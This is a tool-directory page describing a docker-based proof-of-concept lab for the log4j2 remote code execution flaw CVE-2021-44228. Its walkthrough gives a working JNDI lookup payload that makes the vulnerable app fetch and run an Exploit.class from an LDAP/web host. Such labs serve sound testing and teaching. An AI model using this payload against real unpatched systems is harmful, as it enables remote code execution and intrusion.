Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
log4j-rce-CVE-2021-44228 — log4j2 CVE-2021-44228 POC | Kitploit
Tools/GitHubGitHub/1hakusai1/log4j-rce-cve-2021-44228
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHub1hakusai1/log4j-rce-cve-2021-44228

log4j-rce-CVE-2021-44228

log4j2 CVE-2021-44228 POC

View Repository
144 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    627
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    416
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    379
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    330
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    AI powered OSINT engine to discover and map 7,700+ social media identities across the web

    288

Explore all tools

Browse our collection of tools

View all tools →
Share

Overview

This is a project to actually test the remote code execution vulnerability (CVE-2021-44228) in log4j2.

Start the Containers

docker-compose up

It takes a little time for the log4j container to become usable after starting. Check the progress with the following command:

docker logs -f log4j

When you see Server started: Listening on port 8081, it's ready.

Check the State Before the Attack

Check the /root directory of the log4j container.

docker exec log4j ls /root

Initially, only the work directory exists.

Perform the Actual Attack

Access http://localhost:8081/. It's a simple application that just outputs the name entered in the form to the screen and logs.

Enter ${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com} into the form and submit it.

Check the /root directory of the log4j container.

docker exec log4j ls /root

The attacker's prepared code is executed, and files that did not exist before should be created. Since timestamps are used as file names, new files increase with each attack attempt.

Check the logs of the ldap container; you can see that a SEARCH request is coming from the log4j container.

docker logs ldap

Check the tomcat logs of the web container; you can see that access to Exploit.class (the class used for the attack) is coming from the log4j container.

docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*
Download Tool